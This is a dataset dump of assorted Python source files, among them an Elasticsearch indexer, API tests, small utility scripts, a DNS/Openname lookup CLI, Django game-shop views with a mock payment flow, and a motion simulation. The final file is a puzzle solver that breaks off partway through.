corehq.apps.app_manager.util import get_correct_app_class\nfrom corehq.apps.change_feed import topics\nfrom corehq.apps.change_feed.consumer.feed import KafkaChangeFeed, KafkaCheckpointEventHandler\nfrom corehq.elastic import get_es_new\nfrom corehq.pillows.mappings.app_mapping import APP_INDEX_INFO\nfrom corehq.util.doc_processor.couch import CouchDocumentProvider\nfrom pillowtop.checkpoints.manager import get_checkpoint_for_elasticsearch_pillow\nfrom pillowtop.pillow.interface import ConstructedPillow\nfrom pillowtop.processors import ElasticProcessor\nfrom pillowtop.reindexer.reindexer import ResumableBulkElasticPillowReindexer, ReindexerFactory\n\n\ndef transform_app_for_es(doc_dict):\n # perform any lazy migrations\n doc = get_correct_app_class(doc_dict).wrap(doc_dict)\n doc['@indexed_on'] = json_format_datetime(datetime.utcnow())\n return doc.to_json()\n\n\ndef get_app_to_elasticsearch_pillow(pillow_id='ApplicationToElasticsearchPillow', num_processes=1,\n process_num=0, **kwargs):\n \"\"\"App pillow\n\n Processors:\n - :py:class:`pillowtop.processors.elastic.BulkElasticProcessor`\n \"\"\"\n assert pillow_id == 'ApplicationToElasticsearchPillow', 'Pillow ID is not allowed to change'\n checkpoint = get_checkpoint_for_elasticsearch_pillow(pillow_id, APP_INDEX_INFO, [topics.APP])\n app_processor = ElasticProcessor(\n elasticsearch=get_es_new(),\n index_info=APP_INDEX_INFO,\n doc_prep_fn=transform_app_for_es\n )\n change_feed = KafkaChangeFeed(\n topics=[topics.APP], client_id='apps-to-es', num_processes=num_processes, process_num=process_num\n )\n return ConstructedPillow(\n name=pillow_id,\n checkpoint=checkpoint,\n change_feed=change_feed,\n processor=app_processor,\n change_processed_event_handler=KafkaCheckpointEventHandler(\n checkpoint=checkpoint, checkpoint_frequency=100, change_feed=change_feed\n ),\n )\n\n\nclass AppReindexerFactory(ReindexerFactory):\n slug = 'app'\n arg_contributors = [\n ReindexerFactory.resumable_reindexer_args,\n ReindexerFactory.elastic_reindexer_args,\n ]\n\n def build(self):\n iteration_key = \"ApplicationToElasticsearchPillow_{}_reindexer\".format(APP_INDEX_INFO.index)\n doc_provider = CouchDocumentProvider(iteration_key, [Application, RemoteApp, LinkedApplication])\n options = {\n 'chunk_size': 5\n }\n options.update(self.options)\n return ResumableBulkElasticPillowReindexer(\n doc_provider,\n elasticsearch=get_es_new(),\n index_info=APP_INDEX_INFO,\n doc_transform=transform_app_for_es,\n pillow=get_app_to_elasticsearch_pillow(),\n **options\n )\n","sub_path":"corehq/pillows/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"264515545","text":"from unittest.mock import Mock, patch\n\nimport numpy as np\nimport pytest\nimport responses\nfrom ruamel.yaml import YAML\n\nimport t4 as he\nfrom t4 import util\n\nclass TestAPI():\n @responses.activate\n def test_config(self):\n content = {\n 'navigator_url': 'https://foo.bar',\n 'elastic_search_url': 'https://es.foo',\n 'accept_invalid_config_keys': 'yup',\n }\n responses.add(responses.GET, 'https://foo.bar/config.json', json=content, status=200)\n\n he.config('foo.bar')\n\n assert len(responses.calls) == 1\n assert responses.calls[0].request.url == 'https://foo.bar/config.json'\n\n yaml = YAML()\n config = yaml.load(util.CONFIG_PATH)\n\n content['default_local_registry'] = util.BASE_PATH.as_uri()\n content['default_remote_registry'] = None\n content['registry_url'] = 'https://pkg.quiltdata.com'\n\n assert config == content\n\n @responses.activate\n def test_config_invalid_host(self):\n # Our URL handling is very forgiving, since we might receive a host\n # defined in local DNS, like 'foo' instead of 'foo.com' -- and on top\n # of that, we automatically add 'https://' to the name if no schema is\n # present. ..but, a bad port causes an error..\n with pytest.raises(util.QuiltException, match='Port must be a number'):\n he.config('https://fliff:fluff')\n\n def test_put_to_directory_failure(self):\n # Adding pathes with trailing delimeters causes AWS to treat them like virtual directories\n # and can cause issues when downloading to host machine.\n test_object = \"foo\"\n with pytest.raises(ValueError):\n he.put(test_object, \"s3://test/\")\n\n def test_search_no_config(self):\n with pytest.raises(util.QuiltException, match=\"No configured region.\"):\n he.search('*')\n\n @patch('t4.api._create_es')\n def test_search(self, _create_es):\n mock_es_client = Mock()\n mock_es_client.search.return_value = {\n 'took': 3,\n 'timed_out': False,\n '_shards': {'total': 5, 'successful': 5, 'skipped': 0, 'failed': 0},\n 'hits': {'total': 0, 'max_score': None, 'hits': []}\n }\n\n _create_es.return_value = mock_es_client\n query = '*'\n payload = {'query': {'query_string': {\n 'default_field': 'content',\n 'query': query,\n 'quote_analyzer': 'keyword',\n }}}\n\n result = he.search(query)\n assert mock_es_client.search.called\n mock_es_client.search.assert_called_with(index=he.api.es_index, body=payload)\n\n assert isinstance(result, list)\n assert result == []\n\n def test_put_copy_get(self):\n data = np.array([1, 2, 3])\n meta = {'foo': 'bar', 'x': 42}\n\n he.put(data, 'file.json', meta)\n he.copy('file.json', 'file2.json')\n data2, meta2 = he.get('file2.json')\n\n assert np.array_equal(data, data2)\n assert meta == meta2\n","sub_path":"api/python/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"13506646","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 27 17:16:24 2019\r\n\r\n@author: Yansong Tu @ SUTPC\r\n\r\n\"\"\"\r\n\r\nimport os \r\n\r\noutfile = open('test.txt', 'a', encoding = 'UTF-8-Sig')\r\n\r\nos.chdir(\"D:/Zhanjiang Traffic/Data/gpsData/coach/\")\r\nrootDir = os.getcwd()\r\n\r\nfor fname in os.listdir(rootDir):\r\n if fname != 'coach_concat.txt' or fname != 'coach_sorted_output.dat':\r\n print(fname)\r\n infile = open(fname, 'r', encoding = 'UTF-8-Sig')\r\n curr_line = infile.readline()\r\n while curr_line != '':\r\n outfile.write(curr_line)\r\n curr_line = infile.readline()\r\n infile.close()\r\noutfile.close()\r\n","sub_path":"combinefiles.py","file_name":"combinefiles.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"106358031","text":"__author__ = \"Martin Larralde \"\n__license__ = \"MIT\"\n__version__ = (\n __import__(\"pkg_resources\")\n .resource_string(__name__, \"_version.txt\")\n .decode(\"utf-8\")\n .strip()\n)\n\nfrom .utils import warnings\nfrom .entity import Entity\nfrom .definition import Definition\nfrom .metadata import Metadata, Subset\nfrom .ontology import Ontology\nfrom .pv import LiteralPropertyValue, PropertyValue, ResourcePropertyValue\nfrom .relationship import Relationship, RelationshipData\nfrom .synonym import Synonym, SynonymData, SynonymType\nfrom .term import Term, TermData\nfrom .xref import Xref\n\n__all__ = [\n # modules\n \"warnings\",\n # classes\n Ontology.__name__,\n Entity.__name__,\n Term.__name__,\n TermData.__name__,\n Metadata.__name__,\n Subset.__name__,\n Definition.__name__,\n Relationship.__name__,\n RelationshipData.__name__,\n Synonym.__name__,\n SynonymData.__name__,\n SynonymType.__name__,\n PropertyValue.__name__,\n LiteralPropertyValue.__name__,\n ResourcePropertyValue.__name__,\n Xref.__name__,\n]\n","sub_path":"pronto/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"482958898","text":"res = 's'\nwhile res.lower() == 's':\n lar = input('Digite a largura da parede: ')\n while not lar.isdigit():\n lar = input('Apenas valores numéricos são permitidos. Tente a largura novamente: ')\n\n alt = input('Digite a altura da parede: ')\n while not lar.isdigit():\n alt = input('Apenas valores numéricos são permitidos. Digite a altura novamente: ')\n\n alt = float(alt)\n lar = float(lar)\n\n area = (lar*alt)\n print('\\nÁrea da parede em metros quadrados: {0:.2f}m²'.format(area))\n print('Quantidade de tinta necessária em litros: {}l'.format(area / 2))\n\n res = input(\"\\nDeseja calcular novamente? (s/n)\")\n print('')\n","sub_path":"ex010.py","file_name":"ex010.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"472538845","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n OpenDig\n ~~~~~\n\n :copyright: (c) 2014 by OpenNameSystem.org\n :license: MIT, see LICENSE for more details.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport datetime\nimport argparse\n\nfrom opendig import dns_resolver, ons_resolver\nfrom .config import VERSION, DNS_SERVERS, ONS_SERVERS\n\n\n# -------------------------\ndef run_cli():\n \"\"\" run cli\n \"\"\"\n\n parser = argparse.ArgumentParser(\n description='OpenDig: Command-line client for Openname \\\n (http://Openname.org)')\n\n parser.add_argument(\"options\", help=\"+USERNAME will get the user info, \\\n DOMAIN will get domain info\", type=str)\n \n parser.add_argument(\"--get\", help=\"Optional argument for getting \\\n specific information (twitter, bitcoin, github) about ONENAME user\", type=str)\n\n # Print default help message, if no argument is given\n if len(sys.argv) == 1:\n parser.print_help()\n exit(1)\n\n args = parser.parse_args()\n\n \"\"\"\n Check if its onename username or a domain name\n \"\"\"\n if str(args.options[0]) == '+': # username\n\n username = args.options[1:]\n print_header(username)\n\n try:\n data, elapsed_time = get_ons_data(username)\n except:\n pass\n else:\n s = \"\\n;; Got answer:\\n\\n;; QUESTION SECTION:\\n;+%s\\n\\n;; \\\n ANSWER SECTION:\\n\" % (username)\n sys.stdout.write(s)\n\n if len(sys.argv) == 2:\n sys.stdout.write(pretty_dump(data))\n elif len(sys.argv) > 2:\n\n if str(args.get) == \"github\":\n \n if 'github' in data:\n sys.stdout.write(pretty_dump(data['github']))\n else:\n sys.stdout.write(pretty_dump({}))\n\n elif str(args.get) == \"bitcoin\":\n\n if 'bitcoin' in data:\n sys.stdout.write(pretty_dump(data['bitcoin']))\n else:\n sys.stdout.write(pretty_dump({}))\n\n elif str(args.get) == \"twitter\":\n if 'twitter' in data:\n sys.stdout.write(pretty_dump(data['twitter']))\n else:\n sys.stdout.write(pretty_dump({}))\n else:\n parser.print_help()\n exit(1)\n\n print_ons_footer(elapsed_time)\n\n else: # domain\n\n domain = args.options\n print_header(domain)\n start_time = time.time()\n\n try:\n data = dns_resolver(domain)\n except:\n pass\n else:\n s = \"\\n;; Got answer:\\n\\n;; QUESTION SECTION:\\n;%s\\n\\n;; \\\n ANSWER SECTION:\\n\" % (domain + \".\")\n sys.stdout.write(s)\n\n elapsed_time = round(time.time() - start_time, 3)\n elapsed_time = int(1000 * elapsed_time) # msecs\n for reply in data.answer:\n sys.stdout.write(reply.to_text() + '\\n')\n\n print_dns_footer(elapsed_time)\n\n# -------------------------\n\n\ndef pretty_dump(input):\n\n return json.dumps(input, sort_keys=False, indent=4, separators=(',', ': '))\n\n# -------------------------\n\n\ndef print_header(query):\n\n sys.stdout.write(\"\\n;; <<>> OpenDig %s <<>> %s\" % (VERSION, query))\n\n# -------------------------\n\n\ndef print_dns_footer(elapsed_time):\n\n sys.stdout.write(\"\\n;; Query time: %s msec\\n\" % elapsed_time)\n sys.stdout.write(\";; SERVER: %s \\n\" % DNS_SERVERS[0])\n sys.stdout.write(\";; WHEN: %s\\n\\n\" % datetime.datetime.now().strftime(\n \"%a %b %d %H:%M:%S %Y\"))\n\n# -------------------------\n\n\ndef print_ons_footer(elapsed_time):\n\n sys.stdout.write(\"\\n\\n;; Query time: %s msec\\n\" % elapsed_time)\n sys.stdout.write(\";; SERVERS: \")\n for server in ONS_SERVERS:\n sys.stdout.write(\"%s \" % server)\n sys.stdout.write(\"\\n;; WHEN: %s\\n\\n\" % datetime.datetime.now().strftime(\n \"%a %b %d %H:%M:%S %Y\"))\n\n# -------------------------\n\n\ndef get_ons_data(username):\n start_time = time.time()\n\n try:\n data = ons_resolver(username)\n except:\n pass\n else:\n elapsed_time = round(time.time() - start_time, 3)\n elapsed_time = int(1000 * elapsed_time) # msecs\n\n return data, elapsed_time\n\n# ----------------------------------------\n\n\nif __name__ == '__main__':\n run_cli()\n","sub_path":"opendig/opendig_cli.py","file_name":"opendig_cli.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"159969248","text":"from django.shortcuts import render, get_object_or_404, render_to_response\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, update_session_auth_hash\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login as dlogin\nfrom django.contrib.auth import logout as dlougout\nfrom django.db import transaction\nfrom django.urls import reverse\nfrom django.core.mail import send_mail\nfrom django.core.serializers import serialize\nfrom gameshop.forms import GameForm, CategoryForm\nfrom gameshop.forms import RegistrationForm\nfrom gameshop.forms import GameshopUserForm, PasswordForm\nfrom gameshop.models import GameshopUser, Game, Sale, Player, Developer, Verification\nfrom coalfish import settings\nfrom hashlib import md5\nimport random\nimport json\nfrom django.utils.timezone import localtime, now\nfrom gameshop.helpers import *\n\n# Create your views here.\n\ndef index(request):\n \"\"\"\n Index page\n :param request:\n :return:\n \"\"\"\n games = Game.objects.filter(active=True)\n game = random.choice(games) if games.count() > 0 else None\n context = {'game': game}\n return render(request, 'gameshop/index.html', context)\n\n# TODO Parse post and get responses differently\ndef login(request):\n \"\"\"\n Django login\n :param request:\n :return:\n \"\"\"\n if request.method == 'POST':\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(username=username, password=password)\n # Check if user exists and is verificated\n if user:\n if not user.verified:\n return HttpResponse(str(user.username) + \" your email is not verified!\")\n else:\n dlogin(request, user)\n return HttpResponseRedirect('/gameshop/')\n else:#TODO better login failed message\n return render(request, 'gameshop/notification.html', {'title': 'Login \\\n failed!', 'description': 'Invalid username or password.'})\n else:\n return render(request, 'gameshop/notification.html', {'title': 'Login \\\n failed!', 'description': 'Wrong request method.'})\n\ndef logout(request):\n \"\"\"\n Django logout\n :param request:\n :return:\n \"\"\"\n dlougout(request)\n return HttpResponseRedirect('/gameshop/')\n\ndef register(request):\n \"\"\"\n Register new user using the form in the request if any\n :param request:\n :return:\n \"\"\"\n if request.method == 'POST':\n form = RegistrationForm(request.POST)\n if form.is_valid():\n form.save(request=request)\n # Successful registration\n return render(request, 'gameshop/notification.html', {'title': 'Registration \\\n successful!', 'description': 'To start using Coalfish Gameshop you have \\\n to verify your email by clicking on the activation link sent to you.'})\n else:\n # New form\n form = RegistrationForm()\n # Incorrect sent form\n return render(request, 'gameshop/register.html', {'form': form})\n\ndef activate(request, username):\n \"\"\"\n Verify email address\n :param request:\n :param username:\n :return:\n \"\"\"\n user = get_object_or_404(GameshopUser, username=username)\n if user.verified:\n context = {\n 'title': 'User is already verified!',\n 'description': 'That user is already verified, move on and buy games!'\n }\n return render(request, 'gameshop/notification.html', context)\n verification_key = request.GET.get('key', False)\n if not verification_key:\n context = {\n 'title': 'No verification key',\n 'description': 'I did not found a verification key from your request. \\\n Please make sure that you copied the whole link from the email.'\n }\n else:\n verification_object = get_object_or_404(Verification, user=user.pk)\n if (verification_object.key == verification_key):\n user.verified = True\n user.save()\n context = {\n 'title': 'Verification success!',\n 'description': 'Account is now verified, move on and buy games!'\n }\n else:\n context = {\n 'title': 'Incorrect verification key!',\n 'description': 'You supplied an incorrect verification key.'\n }\n return render(request, 'gameshop/notification.html', context)\n\ndef shop(request):\n \"\"\"\n Shop page\n :param request:\n :return:\n \"\"\"\n categories = get_all_categories()\n if request.user.is_authenticated():\n user, is_player = get_player_or_developer(request)\n if is_player:\n games = get_all_games_with_sale_status(user)\n # Logged in player\n return render(request, 'gameshop/shop.html', {'games': games, 'categories': categories, 'playermode': True})\n\n games = get_all_games()\n # Non-player\n return render(request, 'gameshop/shop.html', {'games': games, 'categories': categories, 'playermode': False})\n\n@login_required\ndef library(request):\n \"\"\"\n Library. List of user's purchased or developed games.\n :param request:\n :return:\n \"\"\"\n user, is_player = get_player_or_developer(request)\n categories = get_all_categories()\n if is_player:\n games = get_purchased_games(user)\n return render(request, 'gameshop/library.html', {'games': games, 'categories': categories, 'playermode': True})\n else:\n games = get_developer_games(user)\n return render(request, 'gameshop/library.html', {'games': games, 'categories': categories, 'playermode': False})\n\n# Playing the game\n@login_required\ndef game(request, game_id):\n \"\"\"\n Game playing page\n :param request:\n :param game_id:\n :return:\n \"\"\"\n player, is_player = get_player_or_developer(request)\n if is_player:\n # Only let the game be played if the player owns it\n game = get_game_or_403(player, game_id)\n globalscores, ownscores = get_scores_for_game(game, player)\n return render(request, 'gameshop/game.html', {'game': game, 'ownscores': ownscores, 'globalscores': globalscores})\n else:\n return HttpResponse(\"Developers cannot play games. Make a player account.\")\n\n# Inspecting game details\ndef gameDetails(request, game_id):\n \"\"\"\n Game details\n :param request:\n :param game_id:\n :return:\n \"\"\"\n game = get_object_or_404(Game, id=game_id, active=True)\n if request.user.is_authenticated():\n user, is_player = get_player_or_developer(request)\n if is_player:\n mode = \"player\"\n set_game_sale_status(game, user)\n else:\n mode = \"developer\"\n else:\n mode = \"guest\"\n\n # Background picture based on the category\n bg_prefix = '/gameshop/images/category/'\n if not game.category:\n bg = bg_prefix + 'default.jpg'\n else:\n bg = bg_prefix + str(game.category) + '.jpg'\n\n # High scores TOP 5\n globalscores = get_global_scores_for_game(game)\n return render(request, 'gameshop/game_details.html', {'game': game, 'globalscores': globalscores, 'mode': mode, 'bg': bg})\n\n@login_required\ndef addGame(request):\n \"\"\"\n Publish game form\n :param request:\n :return:\n \"\"\"\n developer, is_player = get_player_or_developer(request)\n if is_player:\n raise PermissionDenied(\"Only developers are allowed to upload games\")\n\n if request.method == 'POST':\n form = GameForm(request.POST, request.FILES)\n if form.is_valid():\n game = form.save(commit=False)\n game.developer = developer\n game.save()\n notification = {\n 'title': game.name + ' published succesfully!',\n 'description': 'Now it is time to make money!'\n }\n # Successful add\n return render(request, 'gameshop/notification.html', notification)\n else:\n # New form\n form = GameForm()\n\n # Incorrect form\n return render(request, 'gameshop/addgame.html', {'form': form})\n\n@login_required\ndef editGame(request, game_id):\n \"\"\"\n Edit game information, price, etc\n :param request:\n :param game_id:\n :return:\n \"\"\"\n game = get_object_or_404(Game, pk=game_id)\n developer, is_player = get_player_or_developer(request)\n # Only game's owner can edit it\n if is_player or game.developer != developer:\n raise PermissionDenied(\"Only the game's owner can edit it\")\n\n if request.method == 'POST':\n form = GameForm(request.POST, request.FILES, instance=game)\n if form.is_valid():\n form.id = game_id\n form.save()\n return HttpResponseRedirect(reverse(\"gameshop-index\"))\n else:\n form = GameForm(instance=game)\n return render(request, 'gameshop/editgame.html', {'form': form, 'game': game})\n\n@login_required\ndef deactivateGame(request, game_id):\n \"\"\"\n Deactivating game makes it not appear in shop or libraries. The game is effectively deleted.\n All score and sale statistics are saved though, and will stay if the game is reactivated.\n :param request:\n :param game_id:\n :return:\n \"\"\"\n game = get_object_or_404(Game, pk=game_id)\n developer, is_player = get_player_or_developer(request)\n if is_player or game.developer != developer:\n raise PermissionDenied(\"Only the game's owner can edit it\")\n\n game.active = False\n game.save()\n\n return HttpResponseRedirect(reverse(\"gameshop-library\"))\n\n@login_required\ndef reactivateGame(request, game_id):\n \"\"\"\n Reactivate a deactivated game\n :param request:\n :param game_id:\n :return:\n \"\"\"\n game = get_object_or_404(Game, pk=game_id)\n developer, is_player = get_player_or_developer(request)\n # Activator has to own the game\n if is_player or game.developer != developer:\n raise PermissionDenied(\"Only the game's owner can edit it\")\n\n game.active = True\n game.save()\n\n return HttpResponseRedirect(reverse(\"gameshop-library\"))\n\n'''@login_required\ndef profile(request):\n user, is_player = get_player_or_developer(request)\n\n if is_player:\n return render(request, 'gameshop/profile.html')\n else:\n return HttpResponse(\"Developer profile\")'''\n\n@login_required\n@transaction.atomic\ndef profile(request):\n \"\"\"\n Profile page and form. Users can change their account details\n :param request:\n :return:\n \"\"\"\n if request.method == 'POST':\n if \"submit-user_form\" in request.POST:\n user_form = GameshopUserForm(request.POST, instance=request.user)\n password_form = PasswordForm(instance=request.user)\n if user_form.is_valid():\n user = user_form.save()\n messages.success(request, \"User information updated\")\n return HttpResponseRedirect(reverse('gameshop-profile'))\n else:\n user_form = GameshopUserForm(instance=request.user)\n messages.error(request, \"Updating user information failed\")\n if \"submit-password_form\" in request.POST:\n user_form = GameshopUserForm(instance=request.user)\n password_form = PasswordForm(request.POST, instance=request.user)\n if password_form.is_valid():\n user = password_form.save()\n user.set_password(user.password)\n user.save()\n update_session_auth_hash(request, user)\n messages.success(request, \"Password changed\")\n return HttpResponseRedirect(reverse('gameshop-profile'))\n else:\n messages.error(request, \"Password change failed\")\n #else:\n #messages.error(request, _('Please correct the error below.'))\n else:\n user_form = GameshopUserForm(instance=request.user)\n password_form = PasswordForm(instance=request.user)\n return render(request, 'gameshop/profile.html', {\n 'user_form': user_form,\n 'password_form': password_form\n })\n\n@login_required\ndef sales(request):\n developer, is_player = get_player_or_developer(request)\n if is_player:\n raise PermissionDenied(\"Only developers can see their sales statistics!\")\n sales = get_game_sales(developer)\n games = get_developer_games(developer)\n sales_per_game = {}\n for game in games:\n sales_per_game[game.pk] = {\n 'name': game.name,\n 'amount': 0,\n 'count': 0\n }\n sales_arr = []\n for sale in sales:\n sales_arr.append({\n 'price_paid': sale.price_paid,\n 'timestamp': sale.timestamp.isoformat(),\n 'name': sale.game.name\n })\n sales_per_game[sale.game.pk]['amount'] += sale.price_paid\n sales_per_game[sale.game.pk]['count'] += 1\n sales_json = json.dumps(sales_arr)\n context = {\n 'sales': sales,\n 'salesjs': sales_json,\n 'salesjs_pergame': sales_per_game\n }\n return render(request, 'gameshop/sales.html', context)\n\n@login_required\ndef addCategory(request):\n \"\"\"\n Superusers can add categories to which developers can assign their games\n :param request:\n :return:\n \"\"\"\n if not request.user.is_superuser:\n raise PermissionDenied(\"Only SuperUser is allowed to manage categories!\")\n if request.method == 'POST':\n form = CategoryForm(request.POST, request.FILES)\n if form.is_valid():\n category = form.save(commit=False)\n category.save()\n notification = {\n 'title': category.name + ' created!',\n 'description': 'Now it is time to make money!'\n }\n return render(request, 'gameshop/notification.html', notification)\n else:\n form = CategoryForm()\n return render(request, 'gameshop/addcategory.html', {'form': form})\n\n# Payment stuff\n#@login_required\ndef encodestring(text):\n \"\"\"\n Encode text as md5\n :param text:\n :return:\n \"\"\"\n m = md5(text.encode(\"ascii\"))\n return m.hexdigest()\n\n@login_required\ndef payment(request, game_id):\n \"\"\"\n Make a payment using the mockup payment service\n :param request:\n :param game_id:\n :return:\n \"\"\"\n # pid generation\n time = localtime(now())\n number = random.random()\n pidstring = \"time={}&game_id={}&number={}\".format(time, game_id, number)\n pid = (\"%s/%s\") % (game_id, encodestring(pidstring))\n\n selected_game = get_object_or_404(Game, id=game_id)\n amount = selected_game.price\n sid = \"CoalfishGames\"\n secret_key = getattr(settings, \"PAYMENT_SECRET_KEY\", None)\n checksumstring = \"pid={}&sid={}&amount={}&token={}\".format(pid, sid, amount, secret_key)\n checksum = encodestring(checksumstring)\n\n host = request.META['HTTP_HOST']\n success_url = (\"http://%s/gameshop/payment/success\") % (host)\n cancel_url = (\"http://%s/gameshop/payment/cancel\") % (host)\n error_url = (\"http://%s/gameshop/payment/error\") % (host)\n values = {'pid' : pid, 'sid' : sid, 'amount' : amount,\n 'success_url': success_url,\n 'cancel_url' : cancel_url,\n 'error_url' : error_url, 'checksum' : checksum}\n\n return render_to_response('gameshop/payment/payment.html', values)\n\n@login_required\ndef paymentSuccess(request):\n \"\"\"\n Payment success page. Check the returned checksums and set the game as sold.\n :param request:\n :return:\n \"\"\"\n if request.method == 'GET':\n pid = request.GET.get(\"pid\")\n ref = request.GET.get(\"ref\")\n result = request.GET.get(\"result\")\n checksum_verify = request.GET.get(\"checksum\")\n secret_key = getattr(settings, \"PAYMENT_SECRET_KEY\", None)\n checksumstring = \"pid={}&ref={}&result={}&token={}\".format(pid, ref, result, secret_key)\n checksum = encodestring(checksumstring)\n if checksum == checksum_verify:\n game_id = pid[:pid.find('/')]\n selected_game = get_object_or_404(Game, id=game_id)\n amount = selected_game.price\n name = selected_game.name\n icon = selected_game.icon\n values = {'amount' : amount, 'name' : name, 'icon' : icon, 'id' : game_id}\n # creating Sale from the purchase\n player = Player.objects.get(user=request.user)\n sale = Sale(player=player, game=selected_game, price_paid=amount)\n sale.save()\n return render(request, 'gameshop/payment/success.html', values)\n return render(request, 'gameshop/payment/error.html')\n\ndef paymentCancel(request):\n \"\"\"\n Cancel payment\n :param request:\n :return:\n \"\"\"\n return render(request, 'gameshop/payment/cancel.html')\n\ndef paymentError(request):\n \"\"\"\n Error in payment\n :param request:\n :return:\n \"\"\"\n return render(request, 'gameshop/payment/error.html')\n\n","sub_path":"coalfish/gameshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"279058852","text":"#Dudas: Que significaría si yo cambio el segundo cero de la posición inicial en X o Y no entiendo que quiere decir eso porque la posición la cambio con el de la izquierda\n\nfrom graphics import * #cd desktop y el nombre del archivo.py\nfrom math import *\nimport time\n\n#\tSimulacion de movimiento de una particula\n#\tcon Movimiento Rectilíneo Uniforme \n\n\ndef PosicionX(t,t0):\n\tX0 = 20\t\t # Posicion inicial\n\tVx0 = 1500 # Velocidad inicial en m/s (en este ejemplo es constante)\n\n\treturn X0 + Vx0 * (t - t0)\n\ndef PosicionY(t,t0):\n\tY0 = 280\t # Posicion inicial\n\tVy0 = -500\n\ta= 150\n\treturn Y0 + Vy0 *((t - t0))+ (a*((t - t0)**2)/2)\n\t\n\ndef main():\n\t\n\twin = GraphWin(\"MRU\", 1000, 500)\t\t\t\t\t\t # Defino una ventana donde se simulará el movimiento\n\t\n\tT = 20\t\t\t\t\t\t\t\t\t\t\t\t # tiempo de la simulacion\n\t\n\tMPP=1\t\t\t\t\t\t\t\t\t\t\t\t # Metros Por Pixel\n\t\n\tc = Circle(Point(PosicionX(0,0),PosicionY(0,0)),50)\t\t\t\t\t\t # dibujo un círculo en la posición inicial PosicionX(0,0) es la posición en X\n\tc.draw(win)\n\t\n\twin.getKey() \t\t\t\t\t\t\t\t\t\t\t # La simulacion comienza con un clic sobre la ventana\n\t\n\tt0 = time.time()\t\t\t\t\t\t\t\t\t\t # Se registra el tiempo inicial de la simulacion\n\tt = time.time()\n\t\n\tDeltaT = 1/10000\t\t\t\t\t\t\t\t\t\t # La posición de la particula es evaluada 10000 veces por segundo\n\tn = 1\t\t\t\t\t\t\t\t\t\t\t\t # Indice utilizado para contar las iteraciones\n\t\n\twhile(t < t0 + T):\t\t\t\t\t\t\t\t\t\t # Simulacion de T segundos\n\t\t\n\t\tt = time.time()\t\t\t\t\t\t\t\t\t\t # Evaluo el tiempo de simulacion\n\t\t\n\t\tif(t >= t0 + n * DeltaT):\t\t\t\t\t\t\t\t # El >= es importante para asegurar que la evaluación de la posición se hace\n # inmediatamente después de t0 + n * DeltaT\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tc.move(PosicionX(t,t0)-PosicionX(t-DeltaT,t0),PosicionY(t,t0)-PosicionY(t-DeltaT,t0)) # Desplaza la particula en la direccion horizontal\n\t\t\tn = n + 1\n\t\t\n\twin.close()\n\t\nmain()\n","sub_path":"MRU.py","file_name":"MRU.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"279401946","text":"\"\"\"\nfind all a, b, c, d in q such that\nf(a) + f(b) = f(c) - f(d)\n\"\"\"\n\n#q = set(range(1, 10))\n#q = set(range(1, 200))\nq = (1, 3, 4, 7, 12)\n\n\ndef f(x):\n return x * 4 + 6\n\n# Your code here\nfrom itertools import combinations_with_replacement\n# will create a dictionary that has as the keys the ans to the function of each \n# number in the set. The value will be the number in the set\n\n\ndef myFunction(q):\n theList = list(q)\n \n ans_cache = {}\n combos = [] # This will store those that that make the correct\n cache = {}\n sub_cache = {}\n # making the cache of answers\n for elem in theList:\n ans = f(elem)\n cache[elem] = ans\n #answers.append(ans)\n\n # will now get all the different combinations of each \n # and will then put them in the add_cache and put them \n # in the minus cache\n comboList = list(combinations_with_replacement(q, r=3))\n \n # will now loop through the combo list and find both the \n # add and substract of each and put it into a hash table\n # there are two different subtract caches for each combo\n # because a - b doesn't equal b-a\n for theTuple in comboList:\n \n if cache[theTuple[0]] not in ans_cache:\n ans_cache[f(theTuple[0])] = theTuple[0]\n \n if cache[theTuple[1]] not in ans_cache:\n ans_cache[f(theTuple[1])] = theTuple[1]\n \n if cache[theTuple[2]] not in ans_cache:\n ans_cache[f(theTuple[2])] = theTuple[2]\n # will now do the add_cache and the sub cache\n # when returning the add cache need to return the tuple as is and also \n # reversed be\n # add_cache[ans_cache[theTuple[0]] + ans_cache[theTuple[1]]] = theTuple\n # using only the subtraction becuase changing the formula to solve for a\n \n \n if (theTuple) not in sub_cache:\n sub_cache[theTuple] = cache[theTuple[0]] - cache[theTuple[1]] - cache[theTuple[2]]\n if (theTuple[1], theTuple[0], theTuple[2]) not in sub_cache:\n sub_cache[(theTuple[1], theTuple[0], theTuple[2])] = cache[theTuple[1]] - cache[theTuple[0]] - cache[theTuple[2]]\n if (theTuple[1], theTuple[2], theTuple[0]) not in sub_cache: \n sub_cache[(theTuple[1], theTuple[2], theTuple[0])] = cache[theTuple[1]] - cache[theTuple[2]] - cache[theTuple[0]]\n if (theTuple[0], theTuple[2], theTuple[1]) not in sub_cache:\n sub_cache[(theTuple[0], theTuple[2], theTuple[1])] = cache[theTuple[0]] - cache[theTuple[2]] - cache[theTuple[1]]\n 